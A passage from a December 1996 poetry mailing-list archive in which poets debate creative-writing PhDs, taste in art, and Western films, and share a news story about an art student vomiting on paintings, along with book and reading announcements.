but here, again, i'm not quite sure exactly you mean, burt, by a phud in creative writing???.. how do you envision this?... my wife kass fleisher has a phud in english, did a novel for her diss, and had in effect not only to pass all the 'regular' english-phud requirements, but had to repeat coursework she'd already completed b/c of a negative perception of creative writers... now surely when she applies for a job, there are those academics who look at her vita and say, 'well HERE'S somebody who doesn't understand literary scholarship'... as opposed, say, to observing that her decision to complete a novel was perhaps motivated by an informed decision to enter into a somewhat different discourse community...

you see burt?---i'm not quite sure why i should be predisposed against creative writing as an academic pursuit, *except* to the very extent to which i am predisposed against *any* such academic pursuit... though academe-centered writing would appear to be, on the surface of it, a more suitable justification of pursuing a phud than, say, non-academe-centered writing, the current

economies writers are faced with, whether situated inside or outside of academe, suggest similar problematics and similar possibilities... albeit i grant that there are differences, as you suggest, i don't grant, not anymore anyway, any hard & fast distinctions between these pursuits insofar as academic programming goes...

best,

joe

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10. Judy Roitman

Re: teaching good/bad writing: good/bad?

Sun 1 Dec 1996

> *on this topic. i'd be curious to know what people think of awarding a ph.d. in creative writing. to my mind, there is something scammish about it, but i*
> *'m ready to be convinced otherwise.*
>
> *burt kimmelman*

Okay, I don't live in an Eng. dept so I've kept my mouth shut, but hey, scam or not, it gets money to folks who write; some of them even write (forgive me Maria) well.

It's like back in the glory days of NSF when research grants were easy to get and my mother (of all people) complained out that it was her tax dollars paying people like me to do what I would do anyway. A scam? Maybe, but it kept people in the business.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

11. Tenney Nathanson

Erica Hunt

Sun 1 Dec 1996

---

nervously getting ready to teach Erica Hunt's /Local Histories/ to a (very good) ug class--have never taught her work before.

any words of wisdom floating around out there?

key essays by her that folks would recommend?

line of the day:

"I could throw away my hat, I need the target practice." (/Local Histories/ 9)

we're coming off a discussion of Leslie Scalapino's /Way/, which I think provides a good context ("Bum Series" especially).

thanks in advance

Tenney

↑ Index

12. finchar
Re: Welcome Message
Sun 1 Dec 1996

---

resubscribe poetics Annie Finch

↑ Index

13. Charles Bernstein
Experimental - Visual - Concrete (fwrd)
Sun 1 Dec 1996

EXPERIMENTAL - VISUAL - CONCRETE
Avant-Garde Poetry Since the 1960s

Ed. by K. David Jackson, Eric Vos, Johanna Drucker

Editions Rodopi
Amsterdam/Atlanta, GA 1996
442 pages
(Avant-Garde Critical Studies vol. 10)

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Editions Rodopi B.V., 2015 South Park Place, Atlanta, GA 30339, Tel. [redacted], Call toll-free (US only) [redacted], Fax [redacted], e-mail: [redacted]

or through local bookstore

Description of general contents:

This is an up-to-date consideration of 20th century visual and concrete poetry by major participants in its creative and critical exposition. Critical approaches,

historical contexts, and basic concepts are surveyed in two introductory essays, while the study of poetic movements in historical context and the chronological trajectory of production of experimental texts are discussed in the first major segment of the volume, "Experimentation in Its Historical Moment." The second major theme, focused upon in the section "Experimentation in the Language Arts," is that of language as a vehicle for experiments and cognitive quests, aimed not at the production of truth or social emancipation but at experiential aspects of language and language use. The development of the basic tenets of concrete poetry and current critical perspectives on its status in poetical experimentation constitute the basis of the third section of the book, "Concrete and Neo-Concrete Poetry." Synthesizing historical and theoretical perspectives, this volume is of crucial interest to students of contemporary poetics, theories of poetic language, and the visual component of literary production. Derived from a symposium held at Yale University in April 1995, the book includes a roundtable discussion on theory and practice of (contemporary) avant-garde poetry and other current concerns among poets and critics in this field. All critical materials are published here for the first time.

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CORRESPONDENCE ADDRESSES

Eric Vos [redacted]
Haagwinde 12
3755 TA Eemnes phone: [redacted]
Netherlands

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14. Joel Felix
Re: Dead Man
Sun 1 Dec 1996

Dear Pam Brown Yes, it was. Jarmusch may have been sending up the "hysterical" roles of women in Westerns, and if so I'm guilty of a bad read of that aspect.

best,
Joel Felix
Chicago PC Sheriff

> *I really liked "Dead Man" - a wonderful allegorical parody of the American Wild West AND Westerns...*
> *as for misogyny - it was of the times wasn't it ?*
>
> *Cheers,*
> *Pam Brown*
> *Sydney Poet*

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15. Pam Brown
Dead Man
Sun 1 Dec 1996

Dear Joel Felix - You wrote " But I saw this film with abt 15 friends 7 of them female and only one woman cared for it much, and she with a shrugging off of the fact that all this damnation in the movie stems from (1) capital (trade,

industry, land) and (2) the poor judgement of women. I won't rehash the plot here, but i'm curious if anyone else read the film as damn near misogenist."

I really liked "Dead Man" - a wonderful allegorical parody of the American Wild West AND Westerns...
as for misogyny - it was of the times wasn't it ?

Cheers,
Pam Brown
Sydney Poet

↑ Index

16. maria damon

Re: teaching good/bad writing: good/bad?

Sun 1 Dec 1996

In message <[redacted]> UB Poetics discussion
group writes:
> >on this topic. i'd be curious to know what people think of awarding a
> >ph.d. in creative writing. to my mind, there is something scammish
> >about it, but i
> >'m ready to be convinced otherwise.
> >
> >burt kimmelman
>
>
> Okay, I don't live in an Eng. dept so I've kept my mouth shut, but hey,
> scam or not, it gets money to folks who write; some of them even write
> (forgive me Maria) well.

actually judy i tend to agree w/ you. what are they spozed to do, wait tables or marry rich? fine, but not everyone can. every option's an option.--md ps i dont know that there's *more* mediocre writing out there as a result of formal programs; they're a scam like any other. as someone who's benefited from hackademia, what can i say?--md
>
> It's like back in the glory days of NSF when research grants were easy to
> get and my mother (of all people) complained out that it was her tax
> dollars paying people like me to do what I would do anyway. A scam?
> Maybe, but it kept people in the business.
>
> ---
> Judy Roitman | "Glad to have
> Math, University of Kansas | these copies of things

> Lawrence, KS 66045 | after a while."
> [redacted] | Larry Eigner,
> 1927-1996
> ---

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17. Burt Kimmelman

Re: teaching good/bad writing: good/bad?

Sun 1 Dec 1996

Joe,

I am glad for your wife, and for my anonymous friend who was at SUNY Binghamton who took the same option as she did--and I suppose that the combination of scholarly training up to but not including the doctoral thesis, and to some extent a demonstrated ability in creative writing (yes, i hate this phrase too), would be attractive for a certain niche in academe; still, perhaps she would have used her time more wisely by dealing with the "real" publishing world instead of with some dusty old doctoral committee. But anyway most jobs will be filled by people who have completed a "scholarly" dissertation--which is, ultimately, a quite different kind of creature.

I guess what I am really getting at, now in hindsight, is that scholarship and criticism, on the one hand, and poetry and fiction (and creative non-fiction, etc.) on the other hand, are quite different and should be acknowledged differently. When I say here "should" i mean that advisedly; but it's just that one is playing for keeps while the other is workaday. I say this having published some scholarship I am proud of and believing in the beauty of a sort and elegance and brilliance of some scholarship that has been published by others (some on this list). But I am also proud and more importantly happy about some poetry I've published, and in the end it is the writing of poetry that keeps me alive, not the scholarship no matter how noble, how profound, how elegant it might be.

Very, very few critics or scholars are read beyond their own time, whereas there are scores, hundreds of what we call great "writers"--Shakespeare fi

for instance--whom we read and I dare say always will (at least, I hope we will).

But hey, there's room for all, right?

burt

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18. Pam Brown
Re: Western music
Sun 1 Dec 1996

Ande another thing...
Neil Young's soundtrack for Jim Jarmusch's "Dead Man" was as stunning as the film...

Cheers
Pam
At 09:24 AM 1/12/96 -0600, you wrote:
>in addition to gene pitney, what about frankie laine?...
>
>for that matter, i've always liked the way tex ritter's "do not forsake me"
>rumbles around in the background of *high noon*...
>
>and then there's the 'sons of the pioneers' too (as in *the searchers*)...
>
>what about the soundtrack to *urban cowboy*... which puts us smack dab in
>the middle of c & w, and with somebody like charlie daniels (whose more
>recent stuff is really problematic) we fall over into 'southern rock' and
>such...
>
>anyway, that singin cowboy stuff goes back a looong way---and it's still a
>vital aspect of u.s. americana... i don't mean grand ole opry
>either---all's you have to do is attend a
>c & w performance at one of the major rodeos to see how passionate the
>following is (this is probably not news to anybody here)... and that
>brings us back to cowboy poetry...
>
>almost typed 'cowbody' poetry---now THERE'S somethin new...
>
>hey, anybody seen that off-broadway show *cowgirls*?... i'm wondering if
>it's pulling in the direction of *oklahoma* or *guys and dolls*?...
>
>joe
>
>

↑ Index

19. **Aldon L. Nielsen**
Re: some perish by degrees
Sun 1 Dec 1996

I'd like a world in which there was a distinction between a doctorate OF arts and a PhD, with the distinction based upon the type of work done for the degree (and thus, perhaps, the type of work for which one is training) -- As it is, though there are so few PhDs in Creative Writing that one must inspect individual work closely to see what it is the person you're hiring might be ready to do (as I would damn well hope all application materials are inspected anyway, but know they aren't) -- I wouldn't ordinarily want to hire a PhD in Medieval Studies to teach a grad. creative writing seminar -- and wouldn't ordinarily want to hire a PhD in creative writing to teach Beowulf -- BUT would indeed do so if that person had published work that demonstrated their qualification to teach that field --

The few people I know of with PhDs in Creative Writing are able, talented, and well-trained far beyond creative writing seminars

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20. **dbkk**
Re: Dead Man
Sun 1 Dec 1996

This is Dodie.

There were four of us who went to see Dead Man: one female with a Ph.D. in poetics, one male with a Ph.D. in poetics, one male with an ABD in English, and one female with a lowly masters in comp lit. All of us loved it--though I must say that the review of the movie I read in People in my acupuncturist's waiting room was scathing. I don't remember thinking about mysogyny when I saw Dead Man. I do remember thinking how wonderfully de-romanticizing it was of the western myth (the disturbingness of the brutality), even though in hindsight the film was very romanticized--how could it not be with Johnny Depp's puppy-dog eyes and that gorgeous cinematography.

Speaking of Jarmusch--the other day KK and I were watching Howard the Duck (which I strongly recommend if you are, like me, into the perverse) on TV--and during a scene where Howard the Duck gets in a fight in a bar I started squawking and gesturing towards one of the badguys in the bar, "That's the actor I saw on the street in L.A. a year ago!" I'd been waiting all this time to point him out to KK. KK informed me he was the star of Stranger than Paradise.

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21. **wystan**

Re: taste, judgment, etc...

Sun 1 Dec 1996

> *Date: Fri, 29 Nov 1996 13:56:45 -0500*
> *Reply-to: UB Poetics discussion group*
> *<[redacted]>*
> *From: [redacted]*
> *Subject: Re: taste, judgment, etc...*
> *To: [redacted]*
>
> *I've encountered recently, from more than one friend of mine, the statement*
> *"I hate jazz." This seems to me a very problematic exercise of "taste." To*
> *cordon off entire cultural areas like this. & seems a fairly regular*
> *occurence in this culture actually which may have replaced other sorts of*
> *prejudice among those with some degree of education-- prejudice moved into*
> *genres of culture rather than more crass expressions of prejudice. "I hate*
> *reggae" "I hate opera" "I hate Bob Dylan"(he's his own genre ya know, or more*
> *appropriate to say in dismissing him you're dismissing an entire tradition)*
> *"I hate _____." It seems to me one has to _try_ & withold value judgments*
> *when first encountering a work of art, music, whatever. Again, to see what*
> *it's _doing_, yet people's reactions at times seem so _visceral_ -- they're*
> *not willing to grant an artwork a valid context at all. They're wrong about*
> *this.*
>
> *--Rod*

Rod,

I know what you're saying cos when teaching I'm always having to say it. But, and this thread has been left dangling because of it, I want to put in a couple of good words for taste. As who it was who started this said, taste judgements are about not explaining yourself. There are contexts in which this is the better (the 'cooler') option. Taste is more about being than knowing, its more performative. A person who thinks all sorts of thing are good of their kind, and if they're not good at least they're interesting in a cultural studies kinda way,

runs the risk of sounding dumb, disengaged, or patronizing depending on the circumstances... Whereas the person with violent narrow tastes means business. Such persons are very clear about what their interests are, and not only don't they care if that puts you on the spot, they hope it does. I don't know about you, but I still find the modernist dismissals of vast tracts of past art, literature, engaging, as I find my children's sometime boredom, dislike, hatred even , of music I hold dear impressive, and in a sense beyond dispute. Taste judgements are proper to an aesthetic economy which shouldn't nessarily be explained away. Wystan

↑ Index

22. Kali Tal

Re: taste, judgment, etc...

Sun 1 Dec 1996

Wystan writes:

> *A person who*
> *thinks all sorts of thing are good of their kind, and if they're not*
> *good at least they're interesting in a cultural studies kinda way, runs*
> *the risk of sounding dumb, disengaged, or patronizing depending on the*
> *circumstances...*

I'll take the risk of sounding "dumb, disengaged, or patronizing" to folks with "violent narrow tastes" any time. "Taste judgments are about not explaining yourself" sounds to this reader a lot like "Love means never having to say you're sorry," or, better yet, "What do you want? Good grammar or good taste?" In short--meaningless pablum, mouthed as if there was a there there.

Yeah, I think all sorts of things are good of their kind, and it's my task to figure out what *kind* of thing I'm looking at, and what standards might be most useful to use in judgement. That seems to me both smart, and engaged. It's a whole lot less patronizing to attempt to understand something on its own terms than it is to dismiss it entire, without explanation or attention beyond the knee-jerk, "I don't like this." Mostly I find that, when applied to entire genres, "I don't like this" translates into, "I can't be bothered to spend the time learning to read this stuff, and if I don't already understand it, it's probably not worth anything anyway."

What's with the Law & Order approach to aesthetics, the slap of the truncheon against the hand, "meaning business"? I can just see the Culture Thugs, guys in turtlenecks with attitudes and berets, supervising the bulldozing of "vast tracts of past art,literature" into trenches, as they chant, "I don't care, I don't like it; I don't care; I don't like it. I don't like it; it isn't good. I don't like it; it isn't good."

Taste is fine, as far as it goes. It's sort of like opinions. Everybody's got opinions, but not everyone's opinions are equally supportable. You can stop with "I like it" or "I hate it," just as you can say, "Well, that's my opinion." But to leave it at that is to refuse to interrogate the cultural structures which contain and shape your tastes, and to refuse to hold yourself to rigorous standards of analysis and argument. Wystan, *your* tastes may be indefensible. Mine are not.

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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23. nuyopoman
Re: POETICS Digest - 29 Nov 1996 to 30 Nov 1996
Sun 1 Dec 1996

Barb Barg submits:

> X-within-URL: http://www.globeandmail.ca/web/cgi-bin/
DisplayPage?
SITE=web&KEY=961130.GlobeFront.UARTTM&TRACKID=PP_TRACKID
>
> November 30, 1996
>
> Front Page News
>
> Student can't stomach certain famous paintings
>
> DESIGN SCHOOL DEBATES FATE OF ARTIST WHO THREW UP
> ON MONDRIAN, DUFY WORKS IN EFFORT TO
> "LIBERATE INDIVIDUALS AND LIVING CREATURES"
>
> By Elizabeth Renzetti
> The Globe and Mail 3-->
>
>
> TORONTO - Jubal Brown, a student at the Ontario College of Art and
> Design, is working on an unusual project that might get him kicked
> out of school or worse. He is deliberately vomiting the brightly

> coloured contents of his stomach on famous paintings.
>
> So far, he has thrown up on two, a Mondrian at New York's Museum of
> Modern Art earlier this month and a Dufy at the Art Gallery of
> Ontario in May, in a protest against art that he terms "stale,
> obedient, lifeless crusts." Neither painting suffered permanent
> damage.
>
> The OCAD is holding a series of meetings with Mr. Brown, 22, to see
> whether his actions contravene the school's code of conduct.
>
> Both galleries have kept the matter as quiet as possible, and neither
> has launched a legal action against Mr. Brown. The AGO realized only
> yesterday that the Dufy incident was a deliberate act, and a
> spokesperson said the gallery would now be seeking legal advice.
>
> Mr. Brown, who also does "nice, happy Sunday paintings" and draws on
> objects he finds, said in an interview that his intent is "to destroy
> art, to liberate individuals and living creatures from its banal,
> oppressive representation."
>
> To achieve this, he plans to vomit one of the three primary
> colours--red, blue and yellow--on a work of art that he feels is so
> bourgeois that it makes him physically ill. He is two-thirds of the
> way through his project.
>
> On Nov. 2, Mr. Brown and two friends visited the Museum of Modern Art
> in New York. He had fortified himself with a feast of blue food--blue
> Jello, blue cake icing--when he spotted his target, a typically
> geometrical canvas by the Dutch artist Piet Mondrian.
>
> Actually, he was having trouble deciding between a Picasso and the
> Mondrian, but Composition in Red, White and Blue won "by the sheer
> force of its banality," he said.
>
> He said he did not induce the vomiting by, for example, sticking his
> finger down his throat. "I found its [the painting's] lifelessness
> threatening and it made me sick."
>
> Mr. Brown, who sports shaved eyebrows and a pierced lower lip,
> provided a photograph of himself standing in front of the
> blue-spattered Mondrian.

>
> When he vomited red matter on French painter Raoul Dufy's Harbour at
> le Havre at the AGO in May (an incident the gallery did not
> publicize), he invited a group of 15 friends to witness the
> performance. There was no audience at the MOMA, apart from startled
> gallery patrons and security staff.
>
> Mr. Brown said he was "interrogated" for several hours in the
> basement of the MOMA by the gallery's security and New York police.
> He said he explained to them the intent of his project.
>
> However, the incident was characterized as an accident in a New York
> Times story on Nov. 9. The story raises the possibility that the
> incident was vandalism, but it quotes the museum's director of
> communication, John Wolfe, as saying, "It was an unfortunate
> incident, a fluke."
>
> No one could be reached yesterday at the MOMA, which was closed for
> the U.S. Thanksgiving holidays.
>
> The galleries are eager to keep this matter as quiet as possible to
> avoid copycat actions. "I have no comment--I don't want to give
> anyone like that undue publicity," said Sandra Lawrence, the AGO
> conservator who cleaned the Dufy canvas.
>
> The AGO issued a statement late yesterday that read in part, "Now
> that a person has come forward to claim responsibility for this as a
> deliberate act, we are taking this very seriously. As the custodians
> of the AGO's collection for all the people of Ontario, we will be
> seeking legal advice in order to determine appropriate actions."
>
> MOMA director Glenn Lowry, who joined the museum after leaving the
> AGO in 1994, wrote a letter to OCAD officials early this month, and
> they began an investigation. The school will not reveal the contents
> of that letter, but it says Mr. Lowry did not ask for Mr. Brown's
> expulsion.
>
> Expulsion is "a worst-case scenario," said Jack Kado, the school's
> manager of public relations, "but this is premature to talk about.
> We're conducting some interviews with Jubal, trying to find out what
> happened."
>

> Mr. Brown said he has been asked to write a letter of apology to the
> MOMA, an option he is considering.
>
> Mr. Brown, whose future show at Toronto's A Space gallery also
> promises unspecified acts of vandalism, is aware that there is
> something perverse about paying to study art while seeking to destroy
> it. "Life is full of contradictions. That's what makes it beautiful,"
> he said.
>
> Despite the threats of legal action, Mr. Brown still intends to
> implement Phase III, a spew of yellow, on an unspecified target. He
> considers his vomit project to be art, but he said it is short-lived
> and therefore saved from the decrepitude of all other art. "It
> doesn't get stale like the rest of the art in the gallery. It only
> lasts for a few minutes before they bring out the Kleenex and take it
> away."

↑ Index

24. Pam Brown

Taste

Mon 2 Dec 1996

TORONTO - Jubal Brown, a student at the Ontario College of Art and
> Design, is working on an unusual project that might get him kicked
> out of school or worse. He is deliberately vomiting the brightly
> coloured contents of his stomach on famous paintings.
>
> So far, he has thrown up on two, a Mondrian at New York's Museum of
> Modern Art earlier this month and a Dufy at the Art Gallery of
> Ontario in May, in a protest against art that he terms "stale,
> obedient, lifeless crusts." Neither painting suffered permanent
> damage.
>

I know it's puerile, corny, ridiculous....but does anyone think this might have something to do with Jubal Brown's "taste"

(ha)

Pam Brown

↑ Index

25. George Bowering
Re: westerns
Mon 2 Dec 1996

I haver seen "My Darling Clementine" more often than any othetr western, I guess, but my favourite is still "The Tall T". I confessed that to an Australian woman at a baseballkl game in Melbourne, and a few months l;ater she sent me two of those little posters they had for thew movie . remember those things outside the theatre? Phew!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

26. steph4848
Wyatt Earp
Mon 2 Dec 1996

Recently there was a mention of a Wyatt Earp biography unpublished by someone in L.A. (Cook?). Unfortunately I both copied and dissolved the post. Appreciate it if the poster could bc the name, and maybe how to contact the writer. Thank you. Stephen Vincent

↑ Index

27. Bil Brown
Re: the good, the bad, and the ugly
Mon 2 Dec 1996

The WORST rejection I have ever heard of was Clayton Eshelman (sp?), editor of Sulfur:

CE tore up my friend Brenda Coultas' poem and sent it back to her in a coffee stained envelope. Something about not taking submissions outside of his control... etc...

But, then CE is a shit isn't he.

Bil Brown

↑ Index

28. **Bil Brown**
Re: teaching good/bad writing: good/bad?
Mon 2 Dec 1996

Um... if I'm not mistaken: aren't a lot of the postees of this list at a certain skool called the UNIVERSITY of Buffalo. Wd that make it acertainable that you are academic (maybe not as "officiating" and boring... but...).

What is the current arguement for the New Academi (I take that after Co-Director Andrew Scelling of the JKDP @ Naropa: he gave a vry erudite discussion in the back of the Diembodied Poetics Anthology abt it).

I ask CURRENT arguement 'cause I been out of it for a cpl of years... living and working white collar in Loserville Kentucky and I just want to know.

Cheers,

Bil Brown

↑ Index

29. **Bil Brown**
Re: teaching good/bad writing: good/bad?
Mon 2 Dec 1996

Tom Bell wrote:

<< The idea of courses raises for me the
spectres of "good"/"bad" and a single correct upper middle class media culture. <><>shiver><><

As an addendum to that. Andrew Schelling sd a few years back to a lovely Poetries and Cultures of India Class that EVERYONE in his class was of Middle Class Origin. This was at NAROPA...

As a Loserville Kentucky poor white Prole-Trailer Trash - I took fucking offense. I didn't/don't have the same ideals as alot of the middle class ideals - which (even in thier literary/intellectual state) are based in something completely different than what I am/was/have been brought to be.

In writing, this idea(l) creates DIS... that is DIScourse, DISdain, DISlocation, and DIS-ease... ppl don't want to write after hearing that the only ppl that shd be able to are white or white bred or middle fucking class.

Maria, Tom, everyone...

Take yr crits with a little bit of salt.

Bil Brown.

↑ Index

30. Ron Silliman
Scammish
Mon 2 Dec 1996

The idea that there might be something "scammish" about a PhD in creative writing or in a d.a. suggests that there is something "legit" about a critical dissertation. That I think is exactly the point that the New Critics were trying to drive home as "specialized readers" only to be cornered by Frye et al later who noted (to the embarrassment of all) that so many of gnu critics were compromised because they were poets. Which is of course precisely the stand-off that was in place when so many of the creative writing programs came into being during the post-WW2 explosion of higher (hire) ed, a "safe" place for the poets far far from theory, etc.

Whatever legitimacy the critical dissertation had, however, really depended on there being a significant number of jobs that candidates were being honed to compete for. When the percentage of PhDs who could get jobs dropped below 50 percent (and it seems to be well under 25 percent today for most of the English & Lit categories, down to 11 percent for linguistics last year), grad school became something else. Without those graduate students, a lot of faculty would not be needed. So in fact it became a "buyers" market, much in the way that the vanity press is a buyers market for publication.

It would seem that the major difference between the critical and creative PhDs is that one doesn't pretend to be the grand job tool that the other wishes it still were. If your primary motivation for doing this isn't because you want both the education AND the process as a thing in itself (and there is no doubt that they *can* have enormous value in their own right), then you're just fodder in a rather large Ponzi scheme, there to keep your professors employed.

Seems to me that all humanities/arts students should presume that no job will await them for this effort. Then whatever follows will be legit no matter what the acronym for it might be.

Ron Silliman

↑ Index

31. Chris Stroffolino
TOMORROW PEOPLE
Mon 2 Dec 1996

For of those of you who (like Chris Funkhouser) are doing dissertations on TECHNO-POETRY, etc., this may be of interest
(and for others too)--
In this week's VOICE, an article by David Gallagher called

Cyber--the subject of which is "MacProse" which is a POETRY program (making me wonder if "francine poetry" is really a prose-writer)--subtitled ROLL OVER, KEATS...

the most interesting part of the article is this:

"Avoiding the typical lilt and cadence of the lecturn,
I read this sample of MacProse to the poet John Ashbery:
"Towns--where have they hastened? What has vengeance
molded? Spring moves. Vinyards sleep. The listening
street has killed it."

"I'm afraid I may get put out of business for saying this,"
Ashbery quips, "but I like all of these lines." Explaining that
he "would never rule out any way of doing anything, includ-
ing poetry," he stresses that poetry is "always result rather
than process." (VOICE 12-3-96)

Well, aside from Ashbery's last quote--which seems
weird and perhaps taken out of context (what is "result"
vs. "process" here and how does that not contradict official
avant garde pieties, etc.)

I am interested in the lines of MacProse themselves....
Insofar as there can be "meaning" in them, it seems that
the meaning is somewhat VESTIGIAL and actually ANTI-
technological, or one could say the "airy nothing" of this
computer program has a wry sense of irony...

IT is wreaking VENGEANGE--and KNOWS It is--on the TOWNS
and IT is the listening street....any others?

yours (in MC 900 ft. exo-jesus), cs

↑ Index

32. Michael Boughn

Re: taste, judgment, etc...

Mon 2 Dec 1996

> *[T]aste judgements are about not explaining yourself. There are contexts in which this is the better (the 'cooler') option. Taste is more about being than knowing, its more performative. A person who thinks all sorts of thing are good of their kind, and if they're not good at least they're interesting in a cultural studies kinda way, runs the risk of sounding dumb, disengaged, or patronizing depending on the circumstances... Whereas the person with violent narrow tastes means business.*
>
> *Wystan*

Sometimes this distinction signals the difference between the academic "sovereign" of the material and the person finding a way through to their own

art. Is that what you mean by "meaning business", Wystan? Reading Olson is like that. He read not to "master" material or to "explain" to others, but to hew his own path, and you either stay on for the ride or not. That's why all the academics (at Buffalo, etc.--though not Al Cook) tend to get so upset when confronted with Olson's "scholarship".

Ooops, gotta run, the baby just woke up.

Mike

[redacted]

↑ Index

33. DEAN F. TACIUCH
Re: TOMORROW PEOPLE
Mon 2 Dec 1996

On Mon, 2 Dec 1996, Chris Stroffolino wrote:

> *For of those of you who (like Chris Funkhouser) are doing dissertations on TECHNO-POETRY, etc., this may be of interest*
> *(and for others too)--*
> *In this week's VOICE, an article by David Gallagher called*
> *Cyber--the subject of which is "MacProse" which is a POETRY program (making me wonder if "francine poetry" is really a prose-writer)--subtitled ROLL OVER, KEATS...*

You can download MacProse from
http://www.conncoll.edu/ccother/cohar/programs/index.html

It's a Charles O Hartman program, and he bills it as a prose program (hence the name, which also tells you that its a Macintosh program). It gerenates sentences based on the grammatical structures you specify (tho you can just let it generate them without your input, in which case it follows grammatical rules programmed in.

Dean Taciuch

↑ Index

34. tmandel
more on westerns
Mon 2 Dec 1996

As I remarked to Pierre in a back-channel communique last week, Rio Bravo saved my life many a time.

Yes, Eldorado is a wonderful film. Mitchum is spectacular as described. And the lighting of the film is very special. Lots of interiors, and Hawks had his folks looking at Dutch painting and Chardin, etc. as modeling material. Also, the

lovely tacked-on ending with Wayne and Mitchum both on crutches explaining to each other their mutual irrelevance.

Rio Bravo and Eldorado were, btw, the first two of a trilogy. The third was Rio Lobo, and I believe this was Hawks' last film. It's a very strange film, divided in two and with a lot of weird effect-ideas (trains sliding backwards on greased rails... that kind of thing).

Few have mentioned seeing The Shootist, and if you haven't I strongly recommend it. Wayne, dying of cancer at the time, plays an old gunfighter at the turn of the century. Like the actor, the character is dying of cancer. The film narrates his last week, during the whole of which J.B. Books (the protagonist) slowly reads a newspaper story of the death of Queen Victoria while battling inside to a conclusion of active thought which is utterly wonderful.

Don Siegel directed The Shootist. Again, I don't think I'm wrong in saying it was his last film. You will know him from The Killers, Dirty Harry and many other tremendous works.

One day in February 1975, Don Siegel asked me to be his dialogue director. His previous dialogue directors had included Sam Peckinpah and John Cassavetes. I said no. He didn't have a project on the table; it would have meant moving from SF to LA; I was working on a first book of poems. I sometimes wonder...

Another time, I'll tell the story of how I came to meet him. From that story I do remember landing at the Burbank airport and as I stepped outside seeing a Navy plane go nose down into the runway. I was so freaked out I then walked the entire way from the airport to Universal. In cowboy boots. The afternoon I spent with Don Siegel began with lunch in the Universal cafeterias (movie stars in line with trays). Blisters were swelling in my boots. By 2pm I was dragging myself along in intense pain (feet) and pleasure (everything else).

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

35. **pollet**
Re: POETICS Digest - 30 Nov 1996 to 1 Dec 1996
Mon 2 Dec 1996

Jubal Brown's project(ile) seems more predictable than the art he's rejecting. OK, yellow's next (yawn). I thought the menu was the most interesting part of the story. Sylvester

↑ Index

36. **tmandel**
Johny Guitar
Mon 2 Dec 1996

Johny Guitar was a Nicholas Ray film, and yes it's amazing.

Someone remember the name of hte Lang western with Marlene Dietrich? A ranch that's a hideout for bandits.... Destry Rides Again (is that right?)

Anyway, another incredible film.

Ron -- like the good/bad writing issue, not liking John Wayne is a measure essentially of inattention to the work itself. Watch The Searchers, and tell me you are not seeing an incredible performance artist at work. Subtlety, not grossness, is the measure of his work -- on the other hand yes he did some bad work late (and early) in life. Rooster Cogburn kind of stuff. And his directorial skills (viz. The Alamo and his Vietnam film whose name I forget) were right up there with his political thinking.

My mom, btw, had a date with John Wayne (why do I always descend to these personal stories?).

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

37. Mark Wallace
Some MLA poetry events
Mon 2 Dec 1996

For those of you who will be in Washington D.C. during the MLA conference, please note that the following poetry events will be taking place in and around the conference.

Friday, December 27
Bridge Street Books
2814 Pennsylvania Ave. in Georgetown

7:30 p.m. Book party for Marjorie Perloff and her new book WITTGENSTEIN'S LADDER: POETIC LANGUAGE AND THE STRANGENESS OF THE ORDINARY, published by University of Chicago Press

8:30
MLA Group Reading
Current reading list includes Charles Bernstein, Peter Gizzi, Carla Harryman, Hank Lazer, Bill Luoma, Douglas Messerli, Jennifer Moxley, A.L. Nielsen, Bob Perelman, Juliana Spahr, Barrett Watten, Elizabeth Willis

Saturday, December 28

5:15-6:30 p.m. Joan Retallack and Carolyn Forche will read from their poetry at the MLA conference. THIS READING IS OPEN AND FREE TO NON-CONFERENCE PARTICIPANTS. Location: Room Delware A at the Sheraton Hotel, corner of Connecticut and Calvert Streets NW.

8:30 p.m.
Ruthless Grip Art Project
U Street NW near the corner of 15th, under the Big Black Sign!

A Gathering of D.C. Avant Garde Poets Current reading list includes Tina Darragh, P. Inman, Rod Smith, Joe Ross, Heather Fuller, Doug Lang, Graham Foust, Mark Wallace and there will be more!

Sunday, December 29

3:00 p.m.
DC Arts Center
2438 18th St. NW (near Columbia and 18th in the heart of Adams Morgan)

PRIMARY TROUBLE anthology reading Hosted by Ed Foster, editor of TALISMAN, this group reading will include a number of writers appearing in the recent PRIMARY TROUBLE anthology edited by Ed and Leonard Schwarz.

Lastly, for anyone still in D.C. on New Year's Day, there will be a poetry reading and party (details to be announced).

Mark Wallace

↑ Index

38. Rachel Blau DuPlessis
Re: George Oppen
Mon 2 Dec 1996

Dear Kevin--please send me a copy of Mirage with the 4 unpublished letters from Oppen. I always worry--waddya mean unpublished! did I miss some great letters when I did my edition (Duke UP 1990)? And dear everyone--I would like to announce a new book from Potes & Poets, my Drafts 15-XXX, The Fold with a special deal from Potes & Poets on prior DuPlessis books, if you order all of those that have this on-going series Drafts in them. When the flyer comes from Peter Ganick, don't throw it away.

↑ Index

39. Pritchett,Pat
Re: Johny Guitar
Mon 2 Dec 1996

I agree with you Tom about John Wayne. In his mature years he developed an amazing style and remains way underrated as a performer. Garry Wills recently did a nice piece on him in The New Yorker called "John Wayne's Body" all about the Duke's incredible physical grace (walking on tiptoe, etc.). Great photo of him lounging in a casual suit, looking pensive, one hand on his daschund (!) and wearing really cool socks.A writer I knew once saw him in the commisary at Paramount in the 70's: the Duke had his own private helicopter, from which he entered the lower spheres deus ex machina and then sat, as at a throne, while every major star and studio boss lined up to pay him homage, like watching a papal audience complete with ring kisssing. Great story about Don Siegel!

TheLang/ Dietrich film is "Rancho Notorious." I always thought of "Eldorado" as a burlesque remake of "Rio Bravo" which itself is rather burlesque. Haven't seen "Rio Lobo" yet.

Patrick Pritchett

From: tmandel
To: POETICS
Subject: Johny Guitar
Date: Monday, December 02, 1996 7:43AM

Johny Guitar was a Nicholas Ray film, and yes it's amazing.

Someone remember the name of hte Lang western with Marlene Dietrich? A ranch that's a hideout for bandits.... Destry Rides Again (is that right?)

